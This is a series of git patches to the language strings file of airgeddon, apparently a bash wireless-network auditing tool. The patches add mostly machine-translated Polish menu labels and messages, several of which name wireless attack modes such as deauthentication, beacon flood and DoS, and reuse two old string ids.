+1008,7 @@ function language_strings() { arr["RUSSIAN",53]="7. Атака смешения WIDS / WIPS / WDS" arr["GREEK",53]="7. Επίθεση σύγχυσης WIDS / WIPS / WDS" arr["ITALIAN",53]="7. Attacco WIDS / WIPS / WDS Confusion" - arr["POLISH",53]="${pending_of_translation} " + arr["POLISH",53]="${pending_of_translation} 7. Ataki WIDS / WIPS / WDS" arr["ENGLISH",54]="old \"obsolete/non very effective\" attacks" arr["SPANISH",54]="antiguos ataques \"obsoletos/no muy efectivos\"" @@ -1018,7 +1018,7 @@ function language_strings() { arr["RUSSIAN",54]="старые \"абсолютно/не очень эффективные\" атаки" arr["GREEK",54]="παλιές \"απαρχαιωμένες/όχι και τόσο αποδοτικές\" επιθέσεις" arr["ITALIAN",54]="vecchi attacchi \"obsoleti/non molto efficaci\"" - arr["POLISH",54]="${pending_of_translation} " + arr["POLISH",54]="${pending_of_translation} stare ataki \"przestarzałe/niezbyt skuteczne\"" arr["ENGLISH",55]="2. Put interface in monitor mode" arr["SPANISH",55]="2. Poner la interfaz en modo monitor" @@ -1028,7 +1028,7 @@ function language_strings() { arr["RUSSIAN",55]="2. Перевести интерфейс в режим монитора" arr["GREEK",55]="2. Βάλτε τη διεπαφή σε κατάσταση παρακολούθησης" arr["ITALIAN",55]="2. Mettere l'interfaccia in modalità monitor" - arr["POLISH",55]="${pending_of_translation} " + arr["POLISH",55]="${pending_of_translation} 2. Umieść interfejs w trybie monitora" arr["ENGLISH",56]="3. Put interface in managed mode" arr["SPANISH",56]="3. Poner la interfaz en modo managed" @@ -1038,7 +1038,7 @@ function language_strings() { arr["RUSSIAN",56]="3. Перевести интерфейс в управляемый режим" arr["GREEK",56]="3. Βάλτε τη διεπαφή σε ετερόκλητη κατάσταση" arr["ITALIAN",56]="3. Mettere l'interfaccia in modalità managed" - arr["POLISH",56]="${pending_of_translation} " + arr["POLISH",56]="${pending_of_translation} 3. Umieść interfejs w trybie zarządzanym" arr["ENGLISH",57]="6. Put interface in monitor mode" arr["SPANISH",57]="6. Poner el interfaz en modo monitor" From 904bb74895dd73142dcbaccdc80978142990f92f Mon Sep 17 00:00:00 2001 From: v1s1t0r1sh3r3 Date: Sun, 22 Oct 2017 13:30:34 +0200 Subject: [PATCH 13/70] Old unused strings reused. --- airgeddon.sh | 6 ++--- language_strings.sh | 58 +++++++++++++++------------------------------ 2 files changed, 22 insertions(+), 42 deletions(-) diff --git a/airgeddon.sh b/airgeddon.sh index 2063ebca3..ad9ae5e4d 100644 --- a/airgeddon.sh +++ b/airgeddon.sh @@ -2,7 +2,7 @@ #Title........: airgeddon.sh #Description..: This is a multi-use bash script for Linux systems to audit wireless networks. #Author.......: v1s1t0r -#Date.........: 20171021 +#Date.........: 20171022 #Version......: 7.23 #Usage........: bash airgeddon.sh #Bash Version.: 4.2 or later @@ -1525,7 +1525,7 @@ function language_menu() { language_strings "${language}" 308 language_strings "${language}" 320 language_strings "${language}" 482 - language_strings "${language}" 506 + language_strings "${language}" 58 print_simple_separator language_strings "${language}" 446 print_hint ${current_menu} @@ -1610,7 +1610,7 @@ function language_menu() { language_strings "${language}" 251 "red" else language="POLISH" - language_strings "${language}" 505 "yellow" + language_strings "${language}" 57 "yellow" fi language_strings "${language}" 115 "read" ;; diff --git a/language_strings.sh b/language_strings.sh index 60576bf35..9a393028c 100644 --- a/language_strings.sh +++ b/language_strings.sh @@ -1040,25 +1040,25 @@ function language_strings() { arr["ITALIAN",56]="3. Mettere l'interfaccia in modalità managed" arr["POLISH",56]="${pending_of_translation} 3. Umieść interfejs w trybie zarządzanym" - arr["ENGLISH",57]="6. Put interface in monitor mode" - arr["SPANISH",57]="6. Poner el interfaz en modo monitor" - arr["FRENCH",57]="6. Passer l'interface en mode moniteur" - arr["CATALAN",57]="6. Configurar la interfície en mode monitor" - arr["PORTUGUESE",57]="6. Coloque a interface em modo monitor" - arr["RUSSIAN",57]="6. Перевести интерфейс в режим монитора" - arr["GREEK",57]="6. Βάλτε τη διεπαφή σε κατάσταση παρακολούθησης" - arr["ITALIAN",57]="6. Mettere l'interfaccia in modalità monitor" - arr["POLISH",57]="${pending_of_translation} " - - arr["ENGLISH",58]="7. Put interface in managed mode" - arr["SPANISH",58]="7. Poner el interfaz en modo managed" - arr["FRENCH",58]="7. Passer l'interface en mode managed" - arr["CATALAN",58]="7. Configurar la interfície en mode managed" - arr["PORTUGUESE",58]="7. Coloque a interface em modo managed" - arr["RUSSIAN",58]="7. Перевести интерфейс в управляемый режим" - arr["GREEK",58]="7. Βάλτε τη διεπαφή σε ετερόκλητη κατάσταση" - arr["ITALIAN",58]="7. Mettere l'interfaccia in modalità managed" - arr["POLISH",58]="${pending_of_translation} " + arr["ENGLISH",57]="Language changed to Polish" + arr["SPANISH",57]="Idioma cambiado a Polaco" + arr["FRENCH",57]="${pending_of_translation} Le script sera maintenant en Polonais" + arr["CATALAN",57]="${pending_of_translation} Idioma canviat a Polonès" + arr["PORTUGUESE",57]="${pending_of_translation} Idioma alterado para Polonês" + arr["RUSSIAN",57]="${pending_of_translation} Язык изменён на Полировать" + arr["GREEK",57]="${pending_of_translation} Η γλώσσα άλλαξε στα Πολωνικά" + arr["ITALIAN",57]="${pending_of_translation} Lingua cambiata in Polacco" + arr["POLISH",57]="${pending_of_translation} Język zmienił się na Polski" + + arr["ENGLISH",58]="9. Polish" + arr["SPANISH",58]="9. Polaco" + arr["FRENCH",58]="${pending_of_translation} 9. Polonais" + arr["CATALAN",58]="${pending_of_translation} 9. Polonès" + arr["PORTUGUESE",58]="${pending_of_translation} 9. Polonês" + arr["RUSSIAN",58]="${pending_of_translation} 9. Πολωνικά" + arr["GREEK",58]="${pending_of_translation} 9. Ιταλικά" + arr["ITALIAN",58]="${pending_of_translation} 9. Polacco" + arr["POLISH",58]="${pending_of_translation} 9. Polski" arr["ENGLISH",59]="11. Return to main menu" arr["SPANISH",59]="11. Volver al menú principal" @@ -5520,26 +5520,6 @@ function language_strings() { arr["ITALIAN",504]="${blue_color}Questo processo di calcolo del PIN non è puramente offline. É richiesta una risposta completa \"probe\" dal punto di accesso obiettivo per ottenere i dati necessari. ${green_color}Vuoi continuare? ${normal_color}${visual_choice}" arr["POLISH",504]="${pending_of_translation} " - arr["ENGLISH",505]="Language changed to Polish" - arr["SPANISH",505]="Idioma cambiado a Polaco" - arr["FRENCH",505]="${pending_of_translation} Le script sera maintenant en Polonais" - arr["CATALAN",505]="${pending_of_translation} Idioma canviat a Polonès" - arr["PORTUGUESE",505]="${pending_of_translation} Idioma alterado para Polonês" - arr["RUSSIAN",505]="${pending_of_translation} Язык изменён на Полировать" - arr["GREEK",505]="${pending_of_translation} Η γλώσσα άλλαξε στα Πολωνικά" - arr["ITALIAN",505]="${pending_of_translation} Lingua cambiata in Polacco" - arr["POLISH",505]="${pending_of_translation} Język zmienił się na Polski" - - arr["ENGLISH",506]="9. Polish" - arr["SPANISH",506]="9. Polaco" - arr["FRENCH",506]="${pending_of_translation} 9. Polonais" - arr["CATALAN",506]="${pending_of_translation} 9. Polonès" - arr["PORTUGUESE",506]="${pending_of_translation} 9. Polonês" - arr["RUSSIAN",506]="${pending_of_translation} 9. Πολωνικά" - arr["GREEK",506]="${pending_of_translation} 9. Ιταλικά" - arr["ITALIAN",506]="${pending_of_translation} 9. Polacco" - arr["POLISH",506]="${pending_of_translation} 9. Polski" - case "${3}" in "yellow") interrupt_checkpoint "${2}" "${3}" From 02fc5456f6315bff226074c0e21b4c4a078723e3 Mon Sep 17 00:00:00 2001 From: v1s1t0r1sh3r3 Date: Sun, 22 Oct 2017 15:26:33 +0200 Subject: [PATCH 14/70] Added more polish automatic translated strings --- language_strings.sh | 384 ++++++++++++++++++++++---------------------- 1 file changed, 192 insertions(+), 192 deletions(-) diff --git a/language_strings.sh b/language_strings.sh index 9a393028c..e51d65437 100644 --- a/language_strings.sh +++ b/language_strings.sh @@ -1068,7 +1068,7 @@ function language_strings() { arr["RUSSIAN",59]="11. Вернуться в главное меню" arr["GREEK",59]="11. Επιστροφή στο αρχικό μενού" arr["ITALIAN",59]="11. Torna al menu principale" - arr["POLISH",59]="${pending_of_translation} " + arr["POLISH",59]="${pending_of_translation} 11. Wróć do menu głównego" arr["ENGLISH",60]="10. About & Credits" arr["SPANISH",60]="10. Acerca de & Créditos" @@ -1078,7 +1078,7 @@ function language_strings() { arr["RUSSIAN",60]="10. О программе и Благодарности" arr["GREEK",60]="10. Σχετικά με & Εύσημα" arr["ITALIAN",60]="10. Informazioni & Credits" - arr["POLISH",60]="${pending_of_translation} " + arr["POLISH",60]="${pending_of_translation} 10. O & Kredyty" arr["ENGLISH",61]="12. Exit script" arr["SPANISH",61]="12. Salir del script" @@ -1088,7 +1088,7 @@ function language_strings() { arr["RUSSIAN",61]="12. Выйти из скрипта" arr["GREEK",61]="12. Έξοδος script" arr["ITALIAN",61]="12. Uscire dallo script" - arr["POLISH",61]="${pending_of_translation} " + arr["POLISH",61]="${pending_of_translation} 12. Zamknij skrypt" arr["ENGLISH",62]="8. Beacon flood attack" arr["SPANISH",62]="8. Ataque Beacon flood" @@ -1098,7 +1098,7 @@ function language_strings() { arr["RUSSIAN",62]="8. Атака флудом маяков (beacon)" arr["GREEK",62]="8. Επίθεση πλημμύρας φάρου (beacon)" arr["ITALIAN",62]="8. Attacco Beacon flood" - arr["POLISH",62]="${pending_of_translation} " + arr["POLISH",62]="${pending_of_translation} 8. Atak Beacon flood" arr["ENGLISH",63]="9. Auth DoS attack" arr["SPANISH",63]="9. Ataque Auth DoS" @@ -1108,7 +1108,7 @@ function language_strings() { arr["RUSSIAN",63]="9. DoS атака деаутентификации" arr["GREEK",63]="9. Επίθεση Auth DoS" arr["ITALIAN",63]="9. Attacco Auth DoS" - arr["POLISH",63]="${pending_of_translation} " + arr["POLISH",63]="${pending_of_translation} 9. Atak Auth DoS" arr["ENGLISH",64]="10. Michael shutdown exploitation (TKIP) attack" arr["SPANISH",64]="10. Ataque Michael shutdown exploitation (TKIP)" @@ -1118,7 +1118,7 @@ function language_strings() { arr["RUSSIAN",64]="10. Атака отключения эксплуатации от Michael (TKIP)" arr["GREEK",64]="10. Επίθεση Michael shutdown exploitation (TKIP)" arr["ITALIAN",64]="10. Attacco Michael shutdown exploitation (TKIP)" - arr["POLISH",64]="${pending_of_translation} " + arr["POLISH",64]="${pending_of_translation} 10. Atak Michael shutdown exploitation (TKIP)" arr["ENGLISH",65]="Exploring for targets option chosen (monitor mode needed)" arr["SPANISH",65]="Elegida opción de exploración para buscar objetivos (modo monitor requerido)" @@ -1128,7 +1128,7 @@ function language_strings() { arr["RUSSIAN",65]="Выбрано сканирование целей (необходим режим монитора)" arr["GREEK",65]="Η επιλογή για εξερεύνηση στόχων έχει επιλεχθεί (χρειάζεται η κατάσταση παρακολούθησης)" arr["ITALIAN",65]="Scelta la opzione di scansione per cercare obiettivi (modalità monitor richiesta)" - arr["POLISH",65]="${pending_of_translation} " + arr["POLISH",65]="${pending_of_translation} Wybranie opcji skanowania w celu wyszukania celów (wymaga trybu monitorowania)" arr["ENGLISH",66]="Selected interface ${interface} is in monitor mode. Exploration can be performed" arr["SPANISH",66]="La interfaz seleccionada ${interface} está en modo monitor. La exploración se puede realizar" @@ -1138,7 +1138,7 @@ function language_strings() { arr["RUSSIAN",66]="Выбранный интерфейс ${interface} в режиме монитора. Сканирование может быть выполнено" arr["GREEK",66]="Η επιλεγμένη διεπαφή ${interface} είναι σε κατάσταση παρακολούθησης. Μπορεί να γίνει εξερεύνηση" arr["ITALIAN",66]="L'interfaccia selezionata ${interface} è in modalità monitor. La scansione può essere eseguita" - arr["POLISH",66]="${pending_of_translation} " + arr["POLISH",66]="${pending_of_translation} Wybrany interfejs ${interface} jest w trybie monitorowania. Skanowanie można wykonać" arr["ENGLISH",67]="When started, press [Ctrl+C] to stop..." arr["SPANISH",67]="Una vez empezado, pulse [Ctrl+C] para pararlo..." @@ -1148,7 +1148,7 @@ function language_strings() { arr["RUSSIAN",67]="После запуска, нажмите [Ctrl+C] для остановки..." arr["GREEK",67]="Όταν αρχίσει, πατήστε [Ctrl+C] για να σταματήσει..." arr["ITALIAN",67]="Una volta avviato, premere [Ctrl+C] per fermare..." - arr["POLISH",67]="${pending_of_translation} " + arr["POLISH",67]="${pending_of_translation} Po rozpoczęciu naciśnij [Ctrl+C], aby go zatrzymać..." arr["ENGLISH",68]="No networks found" arr["SPANISH",68]="No se encontraron redes" @@ -1158,7 +1158,7 @@ function language_strings() { arr["RUSSIAN",68]="Сети не найдены" arr["GREEK",68]="Δεν βρέθηκαν δίκτυα" arr["ITALIAN",68]="Nessuna rete trovata" - arr["POLISH",68]="${pending_of_translation} " + arr["POLISH",68]="${pending_of_translation} Nie znaleziono sieci" arr["ENGLISH",69]=" N. BSSID CHANNEL PWR ENC ESSID" arr["SPANISH",69]=" N. BSSID CANAL PWR ENC ESSID" @@ -1168,7 +1168,7 @@ function language_strings() { arr["RUSSIAN",69]=" N. BSSID CHANNEL PWR ENC ESSID" arr["GREEK",69]=" N. BSSID CHANNEL PWR ENC ESSID" arr["ITALIAN",69]=" N. BSSID CANALE PWR ENC ESSID" - arr["POLISH",69]="${pending_of_translation} " + arr["POLISH",69]=" N. BSSID KANAŁ PWR ENC ESSID" arr["ENGLISH",70]="Only one target detected. Autoselected" arr["SPANISH",70]="Sólo un objetivo detectado. Se ha seleccionado automáticamente" @@ -1178,7 +1178,7 @@ function language_strings() { arr["RUSSIAN",70]="Обнаружена только одна цель. Выбрана автоматически" arr["GREEK",70]="Εντοπίστηκε μόνο ένας στόχος. Επιλέχθηκε αυτόματα" arr["ITALIAN",70]="Solo un obiettivo rilevato. É stato selezionato automaticamente" - arr["POLISH",70]="${pending_of_translation} " + arr["POLISH",70]="${pending_of_translation} Wykryto tylko jeden cel. Automatycznie zaznaczone" arr["ENGLISH",71]="(*) Network with clients" arr["SPANISH",71]="(*) Red con clientes" @@ -1188,7 +1188,7 @@ function language_strings() { arr["RUSSIAN",71]="(*) Сеть с клиентами" arr["GREEK",71]="(*) Δίκτυο με χρήστες" arr["ITALIAN",71]="(*) Rete con clienti" - arr["POLISH",71]="${pending_of_translation} " + arr["POLISH",71]="${pending_of_translation} (*) Sieć z klientami" arr["ENGLISH",72]="Invalid target network was chosen" arr["SPANISH",72]="Red objetivo elegida no válida" @@ -1198,7 +1198,7 @@ function language_strings() { arr["RUSSIAN",72]="Была выбрана неподходящая целевая сеть" arr["GREEK",72]="Επιλέχθηκε άκυρο δίκτυο" arr["ITALIAN",72]="La rete scelta come obiettivo non è valida" - arr["POLISH",72]="${pending_of_translation} " + arr["POLISH",72]="${pending_of_translation} Wybrano nieprawidłową sieć docelową" arr["ENGLISH",73]="airgeddon script v${airgeddon_version} developed by :" arr["SPANISH",73]="airgeddon script v${airgeddon_version} programado por :" @@ -1208,7 +1208,7 @@ function language_strings() { arr["RUSSIAN",73]="скрипт airgeddon v${airgeddon_version} создал :" arr["GREEK",73]="Το airgeddon script v${airgeddon_version} προγραμματίστηκε από :" arr["ITALIAN",73]="airgeddon script v${airgeddon_version} sviluppato da :" - arr["POLISH",73]="${pending_of_translation} " + arr["POLISH",73]="${pending_of_translation} skrypt airgeddon v${airgeddon_version} zaplanowany przez :" arr["ENGLISH",74]="This script is under GPLv3 (or later) License" arr["SPANISH",74]="Este script está bajo Licencia GPLv3 (o posterior)" @@ -1218,7 +1218,7 @@ function language_strings() { arr["RUSSIAN",74]="Этот скрипт под лицензией GPLv3 (или более поздней)" arr["GREEK",74]="Αυτό το script είναι υπό την άδεια GPLv3 (ή νεότερη)" arr["ITALIAN",74]="Questo script è sotto GPLv3 (o versione successiva)" - arr["POLISH",74]="${pending_of_translation} " + arr["POLISH",74]="${pending_of_translation} Ten skrypt jest w GPLv3 (lub nowszy)" arr["ENGLISH",75]="Thanks to the \"Spanish pentesting crew\", to the \"Wifislax Staff\", to the forums people who help me, my collaborators, translators and specially to Kcdtv and xtonousou for beta testing and support received" arr["SPANISH",75]="Gracias al \"Spanish pentesting crew\", al \"Wifislax Staff\", a la gente de los foros que me ayuda, a mis colaboradores, traductores y en especial a Kcdtv y xtonousou por el beta testing y el apoyo recibido" @@ -1228,7 +1228,7 @@ function language_strings() { arr["RUSSIAN",75]="Спасибо \"Spanish pentesting crew\", за \"Wifislax Staff\", людям с форумов, которые мне помогают, тем, кто принимает участие в проекте, переводчикам и особенно Kcdtv и xtonousou за бета тестирование и полученную поддержку" arr["GREEK",75]="Τις ευχαριστίες μου στην \"Ισπανική ομάδα pentesting\", στο \"Wifislax Staff\", στα άτομα από το forum που με βοηθάνε, στους συνεργάτες μου, στους μεταφραστές και ειδικά στον Kcdtv και στον xtonousou για το beta testing και την υποστήριξη που λάβαμε" arr["ITALIAN",75]="Grazie alla \"Spanish pentesting crew\", a \"Wifislax Staff\", alla gente dei forum per aiutarmi, al mio staff, ai traduttori e soprattutto a Kcdtv e xtonousou per il beta testing e il supporto ricevuto" - arr["POLISH",75]="${pending_of_translation} " + arr["POLISH",75]="${pending_of_translation} Dzięki \"Spanish pentesting crew\", \"Wifislax Staff\", ludziom forów, którzy mi pomagają, moi współpracownicy, tłumacze, a zwłaszcza Kcdtv i xtonousou na testy beta i wsparcie otrzymane" arr["ENGLISH",76]="Invalid menu option was chosen" arr["SPANISH",76]="Opción del menú no válida" @@ -1238,7 +1238,7 @@ function language_strings() { arr["RUSSIAN",76]="Выбрана недействительная опция" arr["GREEK",76]="Επιλέχθηκε άκυρη επιλογή μενού" arr["ITALIAN",76]="Opzione del menú non valida" - arr["POLISH",76]="${pending_of_translation} " + arr["POLISH",76]="${pending_of_translation} Niewłaściwa opcja menu" arr["ENGLISH",77]="Invalid interface was chosen" arr["SPANISH",77]="Interfaz no válida" @@ -1248,7 +1248,7 @@ function language_strings() { arr["RUSSIAN",77]="Был выбран недействительный интерфейс" arr["GREEK",77]="Επιλέχθηκε άκυρη διεπαφή" arr["ITALIAN",77]="Interfaccia non valida" - arr["POLISH",77]="${pending_of_translation} " + arr["POLISH",77]="${pending_of_translation} Nieprawidłowy interfejs" arr["ENGLISH",78]="1. Change language" arr["SPANISH",78]="1. Cambiar idioma" @@ -1258,7 +1258,7 @@ function language_strings() { arr["RUSSIAN",78]="1. Сменить язык" arr["GREEK",78]="1. Αλλαγή γλώσσας" arr["ITALIAN",78]="1. Cambiare la lingua" - arr["POLISH",78]="${pending_of_translation} " + arr["POLISH",78]="${pending_of_translation} 1. Zmień język" arr["ENGLISH",79]="1. English" arr["SPANISH",79]="1. Inglés" @@ -1268,7 +1268,7 @@ function language_strings() { arr["RUSSIAN",79]="1. Английский" arr["GREEK",79]="1. Αγγλικά" arr["ITALIAN",79]="1. Inglese" - arr["POLISH",79]="${pending_of_translation} " + arr["POLISH",79]="${pending_of_translation} 1. Angielski" arr["ENGLISH",80]="2. Spanish" arr["SPANISH",80]="2. Español" @@ -1278,7 +1278,7 @@ function language_strings() { arr["RUSSIAN",80]="2. Испанский" arr["GREEK",80]="2. Ισπανικά" arr["ITALIAN",80]="2. Spagnolo" - arr["POLISH",80]="${pending_of_translation} " + arr["POLISH",80]="${pending_of_translation} 2. Hiszpański" arr["ENGLISH",81]="Select a language :" arr["SPANISH",81]="Selecciona un idioma :" @@ -1288,7 +1288,7 @@ function language_strings() { arr["RUSSIAN",81]="Выберите язык :" arr["GREEK",81]="Επιλέξτε μία γλώσσα :" arr["ITALIAN",81]="Scegli una lingua :" - arr["POLISH",81]="${pending_of_translation} " + arr["POLISH",81]="${pending_of_translation} Wybierz język :" arr["ENGLISH",82]="Invalid language was chosen" arr["SPANISH",82]="Idioma no válido" @@ -1298,7 +1298,7 @@ function language_strings() { arr["RUSSIAN",82]="Был выбран неверный язык" arr["GREEK",82]="Επιλέχθηκε άκυρη γλώσσα" arr["ITALIAN",82]="Lingua non valida" - arr["POLISH",82]="${pending_of_translation} " + arr["POLISH",82]="${pending_of_translation} Nieprawidłowy język" arr["ENGLISH",83]="Language changed to English" arr["SPANISH",83]="Idioma cambiado a Inglés" @@ -1308,7 +1308,7 @@ function language_strings() { arr["RUSSIAN",83]="Язык изменён на английский" arr["GREEK",83]="Η γλώσσα άλλαξε στα Αγγλικά" arr["ITALIAN",83]="Lingua cambiata in Inglese" - arr["POLISH",83]="${pending_of_translation} " + arr["POLISH",83]="${pending_of_translation} Język zmienił się na Angielski" arr["ENGLISH",84]="Language changed to Spanish" arr["SPANISH",84]="Idioma cambiado a Español" @@ -1318,7 +1318,7 @@ function language_strings() { arr["RUSSIAN",84]="Язык изменён на испанский" arr["GREEK",84]="Η γλώσσα άλλαξε στα Ισπανικά" arr["ITALIAN",84]="Lingua cambiata in Spagnolo" - arr["POLISH",84]="${pending_of_translation} " + arr["POLISH",84]="${pending_of_translation} Język zmieniono na język Hiszpański" arr["ENGLISH",85]="Send me bugs or suggestions to ${normal_color}${mail}" arr["SPANISH",85]="Enviadme errores o sugerencias a ${normal_color}${mail}" @@ -1328,7 +1328,7 @@ function language_strings() { arr["RUSSIAN",85]="Отправляйте ошибки и предложения мне на почту ${normal_color}${mail}" arr["GREEK",85]="Στείλτε μου αναφορές για bugs ή συστάσεις στο ${normal_color}${mail}" arr["ITALIAN",85]="Inviatemi errori o suggerimenti a ${normal_color}${mail}" - arr["POLISH",85]="${pending_of_translation} " + arr["POLISH",85]="${pending_of_translation} Wyślij mi błędy lub sugestie do ${normal_color}${mail}" arr["ENGLISH",86]="Welcome" arr["SPANISH",86]="Bienvenid@" @@ -1338,7 +1338,7 @@ function language_strings() { arr["RUSSIAN",86]="Добро пожаловать" arr["GREEK",86]="Καλως ορίσατε" arr["ITALIAN",86]="Benvenuti" - arr["POLISH",86]="${pending_of_translation} " + arr["POLISH",86]="${pending_of_translation} Witamy" arr["ENGLISH",87]="Change language" arr["SPANISH",87]="Cambiar idioma" @@ -1348,7 +1348,7 @@ function language_strings() { arr["RUSSIAN",87]="Сменить язык" arr["GREEK",87]="Αλλάξτε γλώσσα" arr["ITALIAN",87]="Cambia la lingua" - arr["POLISH",87]="${pending_of_translation} " + arr["POLISH",87]="${pending_of_translation} Zmień język" arr["ENGLISH",88]="Interface selection" arr["SPANISH",88]="Selección de interfaz" @@ -1358,7 +1358,7 @@ function language_strings() { arr["RUSSIAN",88]="Выбор интерфейса" arr["GREEK",88]="Επιλογή διεπαφής" arr["ITALIAN",88]="Selezione dell'interfaccia" - arr["POLISH",88]="${pending_of_translation} " + arr["POLISH",88]="${pending_of_translation} Wybór interfejsu" arr["ENGLISH",89]="Mdk3 amok action" arr["SPANISH",89]="Acción mdk3 amok" @@ -1368,7 +1368,7 @@ function language_strings() { arr["RUSSIAN",89]="Mdk3 amok в действии" arr["GREEK",89]="Ενέργεια mdk3 amok" arr["ITALIAN",89]="Azione mdk3 amok" - arr["POLISH",89]="${pending_of_translation} " + arr["POLISH",89]="${pending_of_translation} Działanie mdk3 amok" arr["ENGLISH",90]="Aireplay deauth action" arr["SPANISH",90]="Acción aireplay deauth" @@ -1378,7 +1378,7 @@ function language_strings() { arr["RUSSIAN",90]="Деаутентификация Aireplay в действии" arr["GREEK",90]="Ενέργεια aireplay deauth" arr["ITALIAN",90]="Azione aireplay deauth" - arr["POLISH",90]="${pending_of_translation} " + arr["POLISH",90]="${pending_of_translation} Działanie aireplay deauth" arr["ENGLISH",91]="WIDS / WIPS / WDS confusion action" arr["SPANISH",91]="Acción WIDS / WIPS / WDS confusion" @@ -1388,7 +1388,7 @@ function language_strings() { arr["RUSSIAN",91]="Смешение WIDS / WIPS / WDS в действии" arr["GREEK",91]="Ενέργεια σύγχυσης WIDS / WIPS / WDS" arr["ITALIAN",91]="Azione WIDS / WIPS / WDS confusion" - arr["POLISH",91]="${pending_of_translation} " + arr["POLISH",91]="${pending_of_translation} Działanie WIDS / WIPS / WDS zamieszanie" arr["ENGLISH",92]="Beacon flood action" arr["SPANISH",92]="Acción Beacon flood" @@ -1398,7 +1398,7 @@ function language_strings() { arr["RUSSIAN",92]="Флуд маяками в действии" arr["GREEK",92]="Ενέργεια πλημμυρίσματος φάρου" arr["ITALIAN",92]="Azione Beacon flood" - arr["POLISH",92]="${pending_of_translation} " + arr["POLISH",92]="${pending_of_translation} Działanie Beacon flood" arr["ENGLISH",93]="Auth DoS action" arr["SPANISH",93]="Acción Auth DoS" @@ -1408,7 +1408,7 @@ function language_strings() { arr["RUSSIAN",93]="DoS аутентификации в действии" arr["GREEK",93]="Ενέργεια Auth DoS" arr["ITALIAN",93]="Azione Auth DoS" - arr["POLISH",93]="${pending_of_translation} " + arr["POLISH",93]="${pending_of_translation} Działanie Auth DoS" arr["ENGLISH",94]="Michael Shutdown action" arr["SPANISH",94]="Acción Michael Shutdown" @@ -1418,7 +1418,7 @@ function language_strings() { arr["RUSSIAN",94]="Отключение Michael в действии" arr["GREEK",94]="Ενέργεια Michael Shutdown" arr["ITALIAN",94]="Azione Michael Shutdown" - arr["POLISH",94]="${pending_of_translation} " + arr["POLISH",94]="${pending_of_translation} Działanie Michael Shutdown" arr["ENGLISH",95]="Mdk3 amok parameters" arr["SPANISH",95]="Parámetros Mdk3 amok" @@ -1428,7 +1428,7 @@ function language_strings() { arr["RUSSIAN",95]="Параметры Mdk3 amok" arr["GREEK",95]="Παράμετροι Mdk3 amok" arr["ITALIAN",95]="Parametri Mdk3 amok" - arr["POLISH",95]="${pending_of_translation} " + arr["POLISH",95]="${pending_of_translation} Parametry Mdk3 amok" arr["ENGLISH",96]="Aireplay deauth parameters" arr["SPANISH",96]="Parámetros Aireplay deauth" @@ -1438,7 +1438,7 @@ function language_strings() { arr["RUSSIAN",96]="Параметры деаутентификации Aireplay" arr["GREEK",96]="Παράμετροι Aireplay deauth" arr["ITALIAN",96]="Parametri Aireplay deauth" - arr["POLISH",96]="${pending_of_translation} " + arr["POLISH",96]="${pending_of_translation} Parametry Aireplay deauth" arr["ENGLISH",97]="WIDS / WIPS / WDS parameters" arr["SPANISH",97]="Parámetros WIDS / WIPS / WDS" @@ -1448,7 +1448,7 @@ function language_strings() { arr["RUSSIAN",97]="Параметры WIDS / WIPS / WDS" arr["GREEK",97]="Παράμετροι WIDS / WIPS / WDS" arr["ITALIAN",97]="Parametri WIDS / WIPS / WDS" - arr["POLISH",97]="${pending_of_translation} " + arr["POLISH",97]="${pending_of_translation} Parametry WIDS / WIPS / WDS" arr["ENGLISH",98]="Beacon flood parameters" arr["SPANISH",98]="Parámetros Beacon flood" @@ -1458,7 +1458,7 @@ function language_strings() { arr["RUSSIAN",98]="Параметры флуда маяками" arr["GREEK",98]="Παράμετροι πλημμυρίσματος φάρου" arr["ITALIAN",98]="Parametri Beacon flood" - arr["POLISH",98]="${pending_of_translation} " + arr["POLISH",98]="${pending_of_translation} Parametry Beacon flood" arr["ENGLISH",99]="Auth DoS parameters" arr["SPANISH",99]="Parámetros Auth DoS" @@ -1468,7 +1468,7 @@ function language_strings() { arr["RUSSIAN",99]="Параметры аутентификации DoS" arr["GREEK",99]="Παράμετροι Auth DoS" arr["ITALIAN",99]="Parametri Auth DoS" - arr["POLISH",99]="${pending_of_translation} " + arr["POLISH",99]="${pending_of_translation} Parametry Auth DoS" arr["ENGLISH",100]="Michael Shutdown parameters" arr["SPANISH",100]="Parámetros Michael Shutdown" @@ -1478,7 +1478,7 @@ function language_strings() { arr["RUSSIAN",100]="Параметры Michael Shutdown" arr["GREEK",100]="Παράμετροι Michael Shutdown" arr["ITALIAN",100]="Parametri Michael Shutdown" - arr["POLISH",100]="${pending_of_translation} " + arr["POLISH",100]="${pending_of_translation} Parametry Michael Shutdown" arr["ENGLISH",101]="airgeddon main menu" arr["SPANISH",101]="Menú principal airgeddon" @@ -1488,7 +1488,7 @@ function language_strings() { arr["RUSSIAN",101]="Главное меню airgeddon" arr["GREEK",101]="Αρχικό μενού airgeddon" arr["ITALIAN",101]="Menú principale airgeddon" - arr["POLISH",101]="${pending_of_translation} " + arr["POLISH",101]="${pending_of_translation} Menu główne airgeddon" arr["ENGLISH",102]="DoS attacks menu" arr["SPANISH",102]="Menú ataques DoS" @@ -1498,7 +1498,7 @@ function language_strings() { arr["RUSSIAN",102]="Меню DoS атак" arr["GREEK",102]="Μενού επιθέσεων DoS" arr["ITALIAN",102]="Menú attacchi DoS" - arr["POLISH",102]="${pending_of_translation} " + arr["POLISH",102]="${pending_of_translation} Menu DoS ataków" arr["ENGLISH",103]="Exploring for targets" arr["SPANISH",103]="Explorar para buscar objetivos" @@ -1508,7 +1508,7 @@ function language_strings() { arr["RUSSIAN",103]="Сканирование целей" arr["GREEK",103]="Εξερεύνηση στόχων" arr["ITALIAN",103]="Scansionare per cercare obiettivi" - arr["POLISH",103]="${pending_of_translation} " + arr["POLISH",103]="${pending_of_translation} Zbadaj, aby znaleźć cele" arr["ENGLISH",104]="Select target" arr["SPANISH",104]="Seleccionar objetivo" @@ -1518,7 +1518,7 @@ function language_strings() { arr["RUSSIAN",104]="Выбор цели" arr["GREEK",104]="Επιλέξτε στόχο" arr["ITALIAN",104]="Selezionare obiettivo" - arr["POLISH",104]="${pending_of_translation} " + arr["POLISH",104]="${pending_of_translation} Wybierz Cel" arr["ENGLISH",105]="About & Credits" arr["SPANISH",105]="Acerca de & Créditos" @@ -1528,7 +1528,7 @@ function language_strings() { arr["RUSSIAN",105]="О программе и Благодарности" arr["GREEK",105]="Σχετικά με & Εύσυμα" arr["ITALIAN",105]="Informazioni & Crediti" - arr["POLISH",105]="${pending_of_translation} " + arr["POLISH",105]="${pending_of_translation} O & Kredyty" arr["ENGLISH",106]="Exiting" arr["SPANISH",106]="Saliendo" @@ -1538,7 +1538,7 @@ function language_strings() { arr["RUSSIAN",106]="Выход" 